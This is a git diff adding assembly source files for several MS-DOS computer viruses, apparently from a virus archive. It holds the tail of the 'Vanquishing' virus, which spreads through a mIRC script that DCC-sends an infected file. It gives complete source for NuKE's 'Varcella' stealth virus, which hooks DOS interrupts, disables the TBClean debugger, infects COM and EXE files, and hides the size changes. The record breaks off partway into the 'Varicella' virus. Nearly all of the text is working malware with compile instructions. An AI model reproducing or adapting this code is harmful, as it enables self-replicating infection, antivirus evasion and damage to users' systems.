ah,40h +lea dx,[bp+SCRIPT_LINE_START] +mov cx,SCRIPT_LINE_END - SCRIPT_LINE_START +int 21h + +mov ah,3eh +int 21h + +mov ah,3ch +lea dx,[bp+SEX] +xor cx,cx +int 21h + +xchg bx,ax + +mov ax,4200h +xor cx,cx +xor dx,dx +int 21h + +mov ah,40h +lea dx,[bp+BYTES_START] +mov cx,BYTES_END - BYTES_START +int 21h + +mov ax,4202h +xor cx,cx +xor dx,dx +int 21h + +mov ah,40h +lea dx,[bp+VANQUISHING_START] +mov cx,VANQUISHING_END - VANQUISHING_START +int 21h + +mov ah,3eh +int 21h + +CLOSE: +mov di,100h +jmp di + +INFECT: +mov ax,4301h +mov dx,9eh +xor cx,cx +int 21h + +mov ax,3d02h +mov dx,9eh +int 21h + +xchg bx,ax + +mov ah,3fh +lea dx,[bp+TEMP_ONE] +mov cx,3 +int 21h + +mov ax,word ptr[80h + 1ah] +sub ax,VANQUISHING_END - VANQUISHING_START + 3 +cmp ax,word ptr[bp+TEMP_ONE+1] +je CLOSE_FILE + +mov ax,word ptr[80h + 1ah] +sub ax,3 +mov word ptr[bp+TEMP_TWO+1],ax + +mov ax,4200h +xor cx,cx +xor dx,dx +int 21h + +mov ah,3fh +lea dx,[bp+TEMP_TWO] +mov cx,3 +call INC_CALL +int 21h + +call RANDOM_LOC + +mov ax,4202h +xor cx,cx +xor dx,dx +int 21h + +call SNAG_KEY + +mov ah,3fh +lea dx,[bp+VANQUISHING_START] +mov cx,ENCRYPTION_START - VANQUISHING_START +call INC_CALL +int 21h + +lea si,[bp+ENCRYPTION_START] +lea di,[bp+VANQUISHING_END] +mov cx,VANQUISHING_END - ENCRYPTION_START +call CRYPTO + +mov ah,3fh +lea dx,[bp+VANQUISHING_END] +mov cx,VANQUISHING_END - ENCRYPTION_START +call INC_CALL +int 21h + +CLOSE_FILE: +mov ah,3eh +int 21h + +mov ah,4eh +jmp FIND_NEXT + +INC_CALL: +inc ah +ret + +SNAG_KEY: +in al,40h +mov byte ptr [bp+KEY],al +ret + +RANDOM_LOC: +mov ah,2ch +int 21h +cmp dh,30 +ja SEC_LOC +FIR_LOC: +mov byte ptr [bp+BUFF_THREE_ONE],byte ptr [bp+TEMP_TWO] +mov byte ptr [bp+BUFF_THREE_TWO],byte ptr [bp+TEMP_ONE] +mov byte ptr [bp+TEMP_TWO],0 +mov byte ptr [bp+TEMP_ONE],0 +mov byte ptr [bp+BUFF_STORE],2 +ret +SEC_LOC: +mov byte ptr [bp+BUFF_THREE_ONE],byte ptr [bp+TEMP_ONE] +mov byte ptr [bp+BUFF_THREE_TWO],byte ptr [bp+TEMP_TWO] +mov byte ptr [bp+TEMP_TWO],0 +mov byte ptr [bp+TEMP_ONE],0 +mov byte ptr [bp+BUFF_STORE],1 +ret + +SCRIPT_LINE_START: +db '[script]',13,10 +db 'n0=on 1:JOIN:#:/dcc send $nick C:\mirc\sex.com',13,10 +SCRIPT_LINE_END: + +PATCH_START: +db 'KERNEL.AVC',13,10 +db 'TROJAN.AVC',13,10 +db 'UNPACK.AVC',13,10 +db 'EXTRACT.AVC',13,10 +db 'MAIL.AVC',13,10 +db 'EICAR.AVC',13,10 +db 'MACRO.AVC',13,10 +PATCH_END: + +BYTES_START: +nop +nop +nop +BYTES_END: + +AVPSET DB 'c:\avp\avp.set',0 +BUFF_THREE_ONE db 0e9h,0,0 +BUFF_THREE_TWO db 0cdh,20h,0 +FILEMASK db '*.com',0 +BUFF_STORE db 2 +TEMP_ONE db 0 +TEMP_TWO db 0 +DOTDOT db '..',0 +VANQ db ' [VANQUISHING] [BY ARSONIC] [CODEBREAKERS 98] ' +SEX db 'c:\mirc\sex.com',0 +SCRIPT db 'c:\mirc\script.ini',0 +VANQUISHING_END: + diff --git a/MSDOS/Virus.MSDOS.Unknown.varcella.asm b/MSDOS/Virus.MSDOS.Unknown.varcella.asm new file mode 100644 index 00000000..d4539cfb --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.varcella.asm @@ -0,0 +1,848 @@ +;=============================================================================== +; +; (c) 1993 by NuKE Software Publishing, Inc. +; Developed by Rock Steady/NuKE +; +; +; +; To Compile : TASM VARCELLA; +; TLINK/T VARCELLA; +; +virus_size equ last - init_virus ;virus size (bytes) + +seg_a segment byte public + assume cs:seg_a,ds:seg_a + + org 100h ;compile to .com + +start: jmp init_virus + +;------------------------------------------------------------------------------- +init_virus: call doit_now ;begin virus + +doit_now: pop bp ;pop call offset + sub bp,offset doit_now ;fix it with pointer + + push ax + push bx ;save the registers + push cx + push dx + push si + push es + push ds + + mov byte ptr cs:[tb_here][bp],00h ;Reset TB flag + xor dx,dx ;dx=0 + mov ds,dx ;ds=0 + mov ax,word ptr ds:[0006h] ;ax=0000:0006 segment of + dec ax + mov ds,ax + + mov cx,0FFFFh ;cx=64k + mov si,dx ;si=0 + +look_4_tbclean: mov ax,word ptr ds:[si] + xor ax,0A5F3h + je check_it ;jmp if its TBClean +look_again: inc si ;if not continue looking + loop look_4_tbclean + jmp not_found ;not found cont normal + +check_it: mov ax,word ptr ds:[si+4] + xor ax,0006h + jne look_again ;jmp =! tbclean + mov ax,word ptr ds:[si+10] + xor ax,020Eh + jne look_again ;jmp =! tbclean + mov ax,word ptr ds:[si+12] + xor ax,0C700h + jne look_again ;jmp =! tbclean + mov ax,word ptr ds:[si+14] + xor ax,0406h + jne look_again ;jmp =! tbclean + + mov bx,word ptr ds:[si+17] ;steal REAL int 1 offset + mov byte ptr ds:[bx+16],0CFh ;replace with IRET + + mov bx,word ptr ds:[si+27] ;steal REAL int 3 offset + mov byte ptr ds:[bx+16],0CFh ;replece with IRET + + mov byte ptr cs:[tb_here][bp],01h ;set the TB flag on + + mov bx,word ptr ds:[si+51h] ;get 2nd segment of ints + mov word ptr cs:[tb_int2][bp],bx ;vector table + + mov bx,word ptr ds:[si-5] ;get offset of 1st copy + mov word ptr cs:[tb_ints][bp],bx ;of vector table + +not_found: xor dx,dx + push ds + mov ds,dx ;put that in ds + les si,dword ptr ds:[0084h] ;get int21 vector + mov word ptr cs:[int21][bp],si ;save int21 offset + mov word ptr cs:[int21+2][bp],es ;save int21 segment + + les si,dword ptr ds:[0070h] ;get int1c vector + mov word ptr cs:[int1c][bp],si ;save int1c offset + mov word ptr cs:[int1c+2][bp],es ;save int1c segment + + les si,dword ptr ds:[004ch] ;get int13 vector + mov word ptr cs:[int13][bp],si ;save int13 offset + mov word ptr cs:[int13+2][bp],es ;save int13 segment + pop ds + + mov byte ptr cs:[mcb][bp],00h ;reset the TB mcb flag + mov ax,0abcdh ;test if virus is here? + int 13h + cmp bx,0abcdh ;is it? + jne install_virus ;jmp, if not & install +leave_mcb: jmp exit_mem ;yes, leave then + +;--------- Going Resident ------ + +steal_some: mov al,byte ptr cs:[mcb][bp] ;if tb is here, steal + cmp al,0ffh ;memory from it! + je leave_mcb ;error? exit then + inc byte ptr cs:[mcb][bp] ;inc flag + cmp al,01 ; + ja mcb3_1 + +install_virus: mov ah,52h ;get the list of lists + int 21h ;use dos + mov ax,es:[bx-2] ;get first mcb chain + + mov es,ax ;es=segment of 1st mcb +mcb1: cmp byte ptr es:[0000h],'Z' ;is it the last mcb + jne mcb2 ;jmp if not + clc ;yes last mcb, CLC + jmp short mcbx ;outta here + +mcb2: cmp byte ptr es:[0000h],'M' ;is it in the chain + je mcb3 ;jmp if yes + stc ;error, set carry flag + jmp short mcbx ;outta here + +mcb3: cmp byte ptr cs:[mcb][bp],0 ;is TB flag off? + je mcb3_1 ;if yes, then jmp + mov dx,ds ;else cmp TB ds + sub dx,9h ;ds-10 + cmp word ptr es:[0001h],dx ;cmp to mcb owner. + je mcbx_1 + +mcb3_1: mov ax,es ;ax=es + add ax,word ptr es:[0003h] ;ax=es + next mcb + inc ax ;get mcb + mov es,ax ;es=ax:next mcb chain + jmp short mcb1 ;goto first step + +mcbx: jc leave_mcb ;if error, exit +mcbx_1: cmp word ptr es:[0003],(virus_size/16) + 11h + jb steal_some + mov byte ptr es:[0000],'Z' ;the last mcb chain! + sub word ptr es:[0003],(virus_size/16) + 11h + add ax,word ptr es:[0003h] ;figure out segment + inc ax ;add 16 bytes + mov es,ax ;new segment in es + mov di,103h ;offset is 103h + + push ds ;save TB ds location + push cs + pop ds ;virus cs=ds + mov si,offset init_virus ;si=top of virus + add si,bp ;add delta + mov cx,virus_size ;move virus_size + cld ;clear direction flag + repne movsb ;do it Mr. Crunge + + mov ds,cx ;ds=0000 +hook_again: cli ;disable ints + mov word ptr ds:[0084h],offset int21_handler ;hook int21 + mov word ptr ds:[0086h],es + mov word ptr ds:[0070h],offset int1c_handler ;hook int1c + mov word ptr ds:[0072h],es + mov word ptr ds:[004ch],offset int13_handler ;hook int13 + mov word ptr ds:[004eh],es + sti ;enable ints + + cmp byte ptr cs:[tb_here][bp],00h ;was TB found? + je go_on ;no, then jmp + cmp cl,01h ;is this the 2nd x here? + je go_on ;yes, then jmp + mov ds,word ptr cs:[tb_int2][bp] ;get TB int segment + inc cl ;inc cl + jmp short hook_again ;hook ints again + +go_on: pop ds ;get TB code segment + cmp byte ptr cs:[tb_here][bp],01h ;TB here? + je hook_tb_ints ;yes, then jmp + jmp exit_mem ;else exit +hook_tb_ints: mov si,word ptr cs:[tb_ints][bp] ;get TB int offset + mov word ptr ds:[si+84h+16],offset int21_handler + mov word ptr ds:[si+86h+16],es + mov word ptr ds:[si+70h+16],offset int1c_handler + mov word ptr ds:[si+72h+16],es + mov word ptr ds:[si+4ch+16],offset int13_handler + mov word ptr ds:[si+4eh+16],es + +exit_mem: pop ds + pop es + pop si + cmp word ptr cs:[buffer][bp],5A4Dh ;.exe file? + je exit_exe_file ;yupe exit exe file + cmp word ptr cs:[buffer][bp],4D5Ah ;.exe file? + je exit_exe_file ;yupe exit exe file + push cs + pop ds + mov bx,offset buffer ;get first 3 bytes + add bx,bp ;fix delta + mov ax,[bx] ;move first 2 bytes + mov word ptr ds:[100h],ax ;put em in the beginning + inc bx ;inc pointer + inc bx + mov al,[bx] ;get last of 3rd byte + mov byte ptr ds:[102h],al ;put that in place + pop dx + pop cx + pop bx + pop word ptr cs:[ax_reg][bp] ;save ax else where + mov ax,100h + push ax ;fake a CALL & RETN + mov ax,word ptr cs:[ax_reg][bp] ;put ax as normal + retn ;link to 100h + +exit_exe_file: mov dx,ds ;get psp=ds seg + add dx,10h ;add 16bytes to seg + pop word ptr cs:[ax_reg][bp] + pop cx + pop bx + pop ax + add word ptr cs:[buffer+22][bp],dx ;fix segments + add dx,word ptr cs:[buffer+14][bp] + cli + mov ss,dx ;restore ss + mov sp,word ptr cs:[buffer+16][bp] ;and sp + sti + mov dx,word ptr cs:[ax_reg][bp] + jmp dword ptr cs:[buffer+20][bp] ;jmp to entry pt. + +mcb db 0 +ax_reg dd 0 +int13 dd 0 +int1c dd 0 +int21 dd 0 +tb_ints dd 0 +tb_here db 0 +tb_int2 dd 0 + +;=============================================================================== +; Int 13h Handler +;=============================================================================== +int13_handler: + cmp ax,0abcdh ;virus test + je int13_test ;yupe + +int13call: jmp dword ptr cs:[int13] ;original int13 + +int13_test: mov bx,ax ;fix + iret +;=============================================================================== +; Int 1Ch Handler +;=============================================================================== +int1c_handler: + iret +;------------------------------------------------------------------------------- +; FCB Dir Stealth Routine (File Find) +;------------------------------------------------------------------------------- +fcb_dir: call calldos21 ;get the fcb block + test al,al ;test for error + jnz fcb_out ;jmp if error + push ax ;save registers + push bx + push cx + push es + mov ah,51h ;get current psp + call calldos21 ;call int21 + + mov es,bx ;es=segment of psp + cmp bx,es:[16h] ;psp of command.com? + jnz fcb_out1 ;no, then jmp + mov bx,dx ;ds:bx=fcb + mov al,[bx] ;1st byte of fcb + push ax ;save it + mov ah,2fh ;get dta + call calldos21 ;es:bx <- dta + + pop ax ;get first byte + inc al ;al=ffh therefor al=ZR + jnz fcb_old ;if != ZR jmp + add bx,7h ;extended fcb here, +7 +fcb_old: mov ax,es:[bx+17h] ;get file time stamp + mov cx,es:[bx+19h] ;get file date stamp + and ax,1fh ;unmask seconds field + and cx,1fh ;unmask day of month + xor ax,cx ;are they equal? + jnz fcb_out1 ;nope, exit then + sub word ptr es:[bx+1dh],virus_size ;sub away virus_size + sbb word ptr es:[bx+1fh],0 ;sub with carry flag + +fcb_out1: pop es ;restore registers + pop cx + pop bx + pop ax +fcb_out: iret ;return control +;------------------------------------------------------------------------------- +; ASCIIZ Dir Stealth Routine (File Find) +;------------------------------------------------------------------------------- +dta_dir: call calldos21 ;get results to dta + jb dta_out ;if error, split + push ax ;save register + push bx + push cx + push es + mov ah,2fh ;get current dta + call calldos21 ;es:bx <- dta + + mov ax,es:[bx+16h] ;get file time stamp + mov cx,es:[bx+18h] ;get file date stamp + and ax,1fh ;unmask seconds field + and cx,1fh ;unmask day of month + xor ax,cx ;are they equal + jnz dta_out1 ;nope, exit then + sub word ptr es:[bx+1ah],virus_size ;sub away virus_size + sbb word ptr es:[bx+1ch],0 ;sub with carry flag + +dta_out1: pop es ;restore registers + pop cx + pop bx + pop ax +dta_out: retf 0002h ;pop 2 words of stack +;=============================================================================== +; Int 21h Handler +;=============================================================================== +int21_handler: + cmp ah,11h ;FCB find first match + je old_dir + cmp ah,12h ;FCB find next match + je old_dir + cmp ah,4eh ;Find first match + je new_dir + cmp ah,4fh ;Find next match + je new_dir + cmp ah,3dh ;Opening a file + je file_open + cmp ah,6ch ;Ext_opening a file + je file_ext_open + cmp ah,3eh ;closing a file + je file_close + cmp ah,4bh ;Execution of a file + je file_execute + +int21call: jmp dword ptr cs:[int21] ;original int21 + +old_dir: jmp fcb_dir ;fcb file find + +new_dir: jmp dta_dir ;new asciiz file find + +file_open: jmp open_file ;disinfect opening file + +file_ext_open: jmp open_ext_file ;disinfect opening file + +file_close: jmp close_file ;infect closing file + +file_execute: call check_extension ;check for ok ext + cmp byte ptr cs:[com_ext],1 ;is it a com? + je exec_disinfect ;yupe disinfect it + cmp byte ptr cs:[exe_ext],1 ;is it a exe? + je exec_disinfect ;yupe disinfect it + jmp SHORT int21call + +exec_disinfect: call exec_disinfect1 ;Disinfect file + + mov word ptr cs:[ax_reg],dx + pushf ;fake an int + call dword ptr cs:[int21] ;call dos + xchg word ptr cs:[ax_reg],dx ;restore dx + + mov byte ptr cs:[close],0 ;reset flag.. + push ax ;store 'em + push bx + push cx + push dx + push si + push di + push es + push ds +closing_infect: mov ax,3524h ;get error handler + call calldos21 ;call dos + + push es ;save es:bx= int_24 + push bx ;error handler + push ds ;ds:dx= asciiz string + push dx + push cs ;cs=ds + pop ds + mov dx,offset int21_handler ;hook error handler + mov ax,2524h ;with our int24h + call calldos21 + pop dx ;restore ds:dx asciiz + pop ds ;string + + cmp byte ptr cs:[close],0 ;Are we closing file? + je exec_get_att ;nope, then jmp + mov ax,word ptr cs:[handle] ;yupe, ax=file handle + jmp exec_open_ok ;jmp so you don't open + ;the file twice... +exec_get_att: mov ax,4300h ;get file attribs + call calldos21 ;call dos + jnc exec_attrib ;no, error jmp + jmp exec_exit2 ;ERROR - split + +exec_attrib: mov byte ptr cs:[attrib],cl + test cl,1 ;check bit 0 (read_only) + jz exec_attrib_ok ;if bit0=0 jmp + dec cx ;else turn of bit_0 + mov ax,4301h ;write new attribs + call calldos21 ;call dos + +exec_attrib_ok: mov ax,3d02h ;open file for r/w + call calldos21 ;call dos + jnc exec_open_ok ;ok, no error jmp + jmp exec_exit2 ;ERROR - split + +exec_open_ok: xchg bx,ax ;bx=file handler + push cs ;cs=ds + pop ds + mov ax,5700h ;get file time/date + call calldos21 ;call dos + + mov word ptr cs:[old_time],cx ;save file time + mov word ptr cs:[org_time],cx + mov word ptr cs:[old_date],dx ;save file date + and cx,1fh ;unmask second field + and dx,1fh ;unmask date field + xor cx,dx ;are they equal? + jnz exec_time_ok ;nope, file not infected + jmp exec_exit3 ;FILE INFECTED + +exec_time_ok: and word ptr cs:[old_time],0ffe0h ;reset second bits + or word ptr cs:[old_time],dx ;seconds=day of month + + mov ax,4200h ;reset ptr to beginning + xor cx,cx ;(as opened files may + xor dx,dx ; have ptr anywhere, + call calldos21 ; so be smart!) + + mov word ptr cs:[marker],0DBDBh ;File Infection marker + mov dx,offset ds:[buffer] ;ds:dx buffer + mov cx,18h ;read 18h bytes + mov ah,3fh ;read from handle + call calldos21 ;call dos + + jc exec_exit1 ;error? if yes jmp + sub cx,ax ;did we read 18h bytes? + jnz exec_exit1 ;if no exit + mov dx,cx ;cx=0 dx=0 + mov ax,4202h ;jmp to EOF + call calldos21 ;call dos + + jc exec_exit1 ;error? exit if so. + mov word ptr cs:[filesize+2],ax ;save lower 16bit fileSz + mov word ptr cs:[filesize],dx ;save upper 16bit fileSz + call chkbuf ;check if .exe + jz exec_cool ;jmp if .exe file + cmp ax,0FFF0h - virus_size ;64k-256-virus < 64k? + jb exec_cool ;if less jmp! + +exec_exit1: jmp exec_exit3 ;exit! + +;_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +; Mutate and infect +;-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_ + +exec_cool: mov dx,offset init_virus ;ds:dx=virus beginning + mov cx,virus_size ;cx=virus size + mov ah,40h ;write to handle + call calldos21 ;call dos + + jc exec_exit1 ;error? if yes exit + sub cx,ax ;cx=ax bytes? + jnz exec_exit1 ;not equal exit + mov dx,cx ;cx=0 dx=0 + mov ax,4200h ;jmp to top of file + call calldos21 ;call dos + + jc exec_exit1 ;error, then exit + mov ax,word ptr cs:[filesize+2] ;ax=lower 16bit fileSize + call chkbuf ;check if .exe + jnz exec_com_file ;if !=.exe jmp + mov dx,word ptr cs:[filesize] ;get upper 16bit + + mov cx,4 ;cx=0004 + mov si,word ptr cs:[buffer+8] ;get exe header size + shl si,cl ;mul by 16 + sub ax,si ;exe_header - filesize + sbb dx,0h ;sub with carry + + mov cx,10h ;cx=0010 + div cx ;ax=length in para + ;dx=remaider + mov word ptr cs:[buffer+20],dx ;New IP offset address + mov word ptr cs:[buffer+22],ax ;New CS (In paragraphs) + add dx,virus_size+100h ;Dx=virus_size+256 + + mov word ptr cs:[buffer+16],dx ;New SP entry + mov word ptr cs:[buffer+14],ax ;New SS (in para) + add word ptr cs:[buffer+10],(virus_size)/16+1 ;min para + mov ax,word ptr cs:[buffer+10] ;ax=min para needed + cmp ax,word ptr cs:[buffer+12] ;cmp with max para + jb exec_size_ok ;jmp if ok! + mov word ptr cs:[buffer+12],ax ;nop, enter new max + +exec_size_ok: mov ax,word ptr cs:[buffer+2] ;ax=file size + add ax,virus_size ;add virus to it + push ax ;push it + and ah,1 ; + mov word ptr cs:[buffer+2],ax ;restore new value + pop ax ;pop ax + mov cl,9 ; + shr ax,cl ; + add word ptr cs:[buffer+4],ax ;enter fileSz + header + mov dx,offset buffer ;ds:dx=new exe header + mov cx,18h ;cx=18h bytes to write + jmp SHORT exec_write_it ;jmp... + +exec_com_file: sub ax,3 ;sub 3 for jmp address + mov word ptr cs:[buffer+1],ax ;store new jmp value + mov byte ptr cs:[buffer],0E9h ;E9h=JMP + mov dx,offset buffer ;ds:dx=buffer + mov cx,3 ;cx=3 bytes + +exec_write_it: mov ah,40h ;write to file handle + call calldos21 ;call dos + + mov dx,word ptr cs:[old_date] ;restore old date + mov cx,word ptr cs:[old_time] ;restore old time + mov ax,5701h ;write back to file + call calldos21 ;call dos + +exec_exit3: mov ah,3eh ;close file + call calldos21 ;call dos + +exec_exit2: pop dx ;restore es:bx (the + pop ds ;original int_24) + mov ax,2524h ;put back to place + call calldos21 ;call dos + + pop ds + pop es + pop di ;pop registers + pop si + pop dx + xor cx,cx + mov cl,byte ptr cs:[attrib] ;get old file attrib + mov ax,4301h ;put them back + call calldos21 ;call dos + pop cx + pop bx + pop ax + + cmp byte ptr cs:[close],0 ;get called by exec? + je exec_good_bye ;yep, then jmp + iret ;else exit now. + +exec_good_bye: mov dx,word ptr cs:[ax_reg] ;restore dx + iret ;iret +;------------------------------------------------------------------------------- +; Close File Int21h/ah=3Eh +;------------------------------------------------------------------------------- +close_file: cmp bx,4h ;file handler > 4? + ja close_cont ;jmp if above + jmp int21call ;else exit + +close_cont: push ax ;save 'em + push bx + push cx + push dx + push si + push di + push es + push ds + + push bx ;save file handler + mov ax,1220h ;get job file table! + int 2fh ;call multiplex + ;es:di=JFT for handler + mov ax,1216h ;get system file table + mov bl,es:[di] ;bl=SFT entry + int 2fh ;call multiplex + pop bx ;save file handler + + add di,0011h + mov byte ptr es:[di-0fh],02h ;set to read/write + + add di,0017h + cmp word ptr es:[di],'OC' ;check for .COM file + jne closing_next_try ;no try next ext + cmp byte ptr es:[di+2h],'M' ;check last letter + je closing_cunt3 ;no, file no good, exit + +closing_exit: jmp closing_nogood ;exit + +closing_next_try: + cmp word ptr es:[di],'XE' ;check for .EXE file + jne closing_exit ;no, exit + cmp byte ptr es:[di+2h],'E' ;check last letter + jne closing_exit ;no, exit + +closing_cunt3: mov byte ptr cs:[close],1 ;set closing flag + mov word ptr cs:[handle],bx ;save handler + jmp closing_infect ;infect file! + +closing_nogood: pop ds ;restore 'em + pop es + pop di + pop si + pop dx + pop cx + pop bx + pop ax + jmp int21call ;good bye, baby... +;------------------------------------------------------------------------------- +; Execute Disinfecting routine +;------------------------------------------------------------------------------- +exec_disinfect1 PROC + push ax ;save registers + push bx + push cx + push dx + push ds + + mov ax,4300h ;get file attribs + call calldos21 ;call dos + + test cl,1h ;is Read-only flag? + jz okay_dis ;no, jmp attribs ok + dec cx ;turn off bit 0 + mov ax,4301h ;write new attribs + call calldos21 ;call dos + jnc okay_dis ;No error? then jmp + jmp end_dis ;error? exit! + +okay_dis: mov ax,3d02h ;open file for r/w + call calldos21 ;call dos + jnc dis_fileopen ;No error? then jmp + jmp end_dis ;Error? exit! + +dis_fileopen: xchg bx,ax ;bx=file handle + mov ax,5700h ;get file time/date + call calldos21 ;call dos + + mov word ptr cs:[old_time],cx ;save file time + mov word ptr cs:[old_date],dx ;save file date + and cx,1fh ;unmask second field + and dx,1fh ;unmask date field + xor cx,dx ;are they equal? + jnz half_way ;nope, file not infected + + mov ax,4202h ;jmp to EOF + xor cx,cx ;cx=0 + xor dx,dx ;dx=0 + call calldos21 ;call dos + + push cs ;cs=ds + pop ds ; + mov cx,dx ;dx:ax=file size + mov dx,ax ;save to cx:dx + push cx ;save upper fileSz + push dx ;save lower fileSz + + sub dx,1Ch ;filesize-1C=origin byte + sbb cx,0 ;sub with carry + mov ax,4200h ;position ptr + call calldos21 ;call dos + + mov ah,3fh ;open file + mov cx,1Ch ;read last 1Ch bytes + mov dx,offset org_time ;put in ds:dx + call calldos21 ;call dos + call chkbuf ;Did it work? + je half ;Yes,Jmp + cmp word ptr ds:[marker],0DBDBh ;File REALLY Infected? + je half ;Yes, then jmp + + pop dx + pop cx +half_way: jmp end_dis1 ;exit, error! + +half: xor cx,cx ;cx=0 + xor dx,dx ;dx=0 + mov ax,4200h ;pointer to top of file + call calldos21 ;call dos + + mov ah,40h ;write function + mov dx,offset buffer ;ds:dx=buffer + mov cx,18h ;cx=18h bytes to write + call chkbuf ;check if .exe? + jz SHORT dis_exe_jmp ;yupe, jmp + mov cx,3h ;else write 3 bytes +dis_exe_jmp: call calldos21 ;call dos + + pop dx ;pop original fileSz + pop cx + + sub dx,virus_size ;Sub with virus_size + sbb cx,0 ;sub with carry + mov ax,4200h ;ptr top of virus + call calldos21 ;call dos + + mov ah,40h ;write function + xor cx,cx ;write 0 bytes + call calldos21 ;call dos! (new EOF) + + mov cx,word ptr ds:[org_time] ;get original time + mov dx,word ptr ds:[old_date] ;get original date + mov ax,5701h ;put back to file + call calldos21 ;call dos + +end_dis1: mov ah,3eh ;close file handle + call calldos21 ;call dos + +end_dis: pop ds ;restore values + pop dx + pop cx + pop bx + pop ax + ret +exec_disinfect1 ENDP +;------------------------------------------------------------------------------- +; Open File by DOS Int21h/ah=6ch +;------------------------------------------------------------------------------- +open_ext_file: push dx ;save DX + mov dx,si ;asciiz=DS:DX now + jmp open_ext ;jmp +;------------------------------------------------------------------------------- +; Open File by DOS Int21h/ah=3Dh +;------------------------------------------------------------------------------- +open_file: push dx ;save dx (asciiz) +open_ext: call check_extension ;check extension + cmp byte ptr cs:[com_ext],1 ;is it a .com? + je open_ok_ext ;yep, then jmp + cmp byte ptr cs:[exe_ext],1 ;is it a .exe? + je open_ok_ext ;yep, them jmp + jmp open_exit ;ext no good, exit! + +open_ok_ext: call exec_disinfect1 ;disinfect file! +open_exit: pop dx ;restore dx + jmp int21call ;exit to dos... +;------------------------------------------------------------------------------- +; Checks Buffer (EXE) Header +;------------------------------------------------------------------------------- +chkbuf PROC + push si ;save register + mov si,word ptr cs:[buffer] ;get first word + cmp si,5A4Dh ;si=ZM? + je chkbuf_ok ;if yes exit + cmp si,4D5Ah ;si=MZ? +chkbuf_ok: pop si ;pop register + ret +chkbuf ENDP +;------------------------------------------------------------------------------- +; Check file Extension +;------------------------------------------------------------------------------- +check_extension PROC + pushf ;save flags + push cx ;save cx,si + push si + mov si,dx ;ds:[si]=asciiz + mov cx,128 ;scan 128 bytes max + mov byte ptr cs:[com_ext],0 ;reset .com flag + mov byte ptr cs:[exe_ext],0 ;reset .exe flag + +check_ext: cmp byte ptr ds:[si],2Eh ;scan for "." + je check_ext1 ;jmp if found + inc si ;else inc and loop + loop check_ext ;loop me + +check_ext1: inc si ;inc asciiz ptr + cmp word ptr ds:[si],'OC' ;is it .COM + jne check_ext2 ; ~~ + cmp byte ptr ds:[si+2],'M' ;is it .COM + je com_file_ext ; ~ + +check_ext2: cmp word ptr ds:[si],'oc' ;is it .com + jne check_ext3 ; ~~ + cmp byte ptr ds:[si+2],'m' ;is it .com + je com_file_ext ; ~ + +check_ext3: cmp word ptr ds:[si],'XE' ;is it .EXE + jne check_ext4 ; ~~ + cmp byte ptr ds:[si+2],'E' ;is it .EXE + je exe_file_ext ; ~ + +check_ext4: cmp word ptr ds:[si],'xe' ;is it .exe + jne check_ext_exit ; ~~ + cmp byte ptr ds:[si+2],'e' ;is it .exe + je exe_file_ext ; ~ + jmp check_ext_exit ;neither exit + +com_file_ext: mov byte ptr cs:[com_ext],1 ;found .com file + jmp SHORT check_ext_exit ;jmp short +exe_file_ext: mov byte ptr cs:[exe_ext],1 ;found .exe file + +check_ext_exit: pop si ;restore + pop cx + popf ;save flags + ret + +com_ext db 0 ;flag on=.com file +exe_ext db 0 ;flag on=.exe file +check_extension ENDP +;------------------------------------------------------------------------------- +; Original Int21h +;------------------------------------------------------------------------------- +calldos21 PROC + pushf ;fake int call + call dword ptr cs:[int21] ;call original int_21 + ret +calldos21 ENDP +;=============================================================================== +; Int 24h Handler +;=============================================================================== +int24_handler: + mov al,3 ;don't report error... + iret ;later dude... +;------------------------------------------------------------------------------- +; FLAGS - FLAGS - FLAGS - FLAGS - FLAGS + +close db 0 ;closing file + +;------------------------------------------------------------------------------- +; END - END - END - END - END - END - END + +rand_val dw 0 +flags dw 0 ;Flags are saved here +attrib db 0 ;file's attrib +filesize dd 0 ;filesize +handle dw 0 ;file handler +old_date dw 0 ;file date +old_time dw 0 ;file time +;------------------------------------------------------------------------------- +org_time dw 0 ;original file time + +;------------------------------------------------------------------------------- +buffer db 0CDh,020h ; 0 (0) EXE file signature + db 090h,090h ; 2 (2) Length of file + db 090h,090h ; 4 (4) Size of file + header (512k) + db 090h,090h ; 6 (6) # of relocation items + db 090h,090h ; 8 (8) Size of header (16byte para) + db 090h,090h ; A (10) Min para needed (16byte) + db 090h,090h ; C (12) Max para needed (16byte) + db 090h,090h ; E (14) SS reg from start in para. + db 090h,090h ; 10(16) SP reg at entry + db 090h,090h ; 12(18) checksum + db 090h,090h ; 14(20) IP reg at entry + db 090h,090h ; 16(22) CS reg from start in para. +Marker db 0DBh,0DBh ; Marks THIS File as INFECTED! +last: +seg_a ends + end start diff --git a/MSDOS/Virus.MSDOS.Unknown.varicel.asm b/MSDOS/Virus.MSDOS.Unknown.varicel.asm new file mode 100644 index 00000000..f8ec0fe8 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.varicel.asm @@ -0,0 +1,764 @@ +;================================================================= +; (c) NuKE Software Development 1991, 1992, 1993 +; +; VARICELLA VIRUS (Size 1483) +; +; By Rock Steady +; +; TASM VARICELL; +; TLINK/T VARICELL; +; +virus_size equ last - init_virus ;virus size (bytes) +mut1 equ 3 +mut2 equ 1 +mut3 equ 103h ;offset in memory + +seg_a segment byte public + assume cs:seg_a,ds:seg_a + + org 100h ;compile to .com + +start: jmp init_virus + +;------------------------------------------------------------------------------- +init_virus: call doit_now ;begin virus + +doit_now: pop bp ;pop call offset + sub bp,offset doit_now ;fix it with pointer + + push ax ;save registers + push ds + push es + + mov ax,0abcdh ;check if virus is + int 13h ;alive in memory + jmp next_code1 ;force jump + +virus_here: jmp exit_com ;error jump exit + +next_code1: cmp bx,0abcdh ;cmp bx if virus alive + jnz install_virus + jmp virus_here ;yes, skip memory part + +install_virus: push bx ;save registers + push cx + push dx + push si + push di + push ds + + xor dx,dx ;0 value to dx + mov ds,dx ;put that in ds + les si,dword ptr ds:[0084h] ;get int21 vector + mov word ptr cs:[int21][bp],si ;save int21 offset + mov word ptr cs:[int21+2][bp],es ;save int21 segment + + les si,dword ptr ds:[0070h] ;get int1c vector + mov word ptr cs:[int1c][bp],si ;save int1c offset + mov word ptr cs:[int1c+2][bp],es ;save int1c segment + + les si,dword ptr ds:[004ch] ;get int13 vector + mov word ptr cs:[int13][bp],si ;save int13 offset + mov word ptr 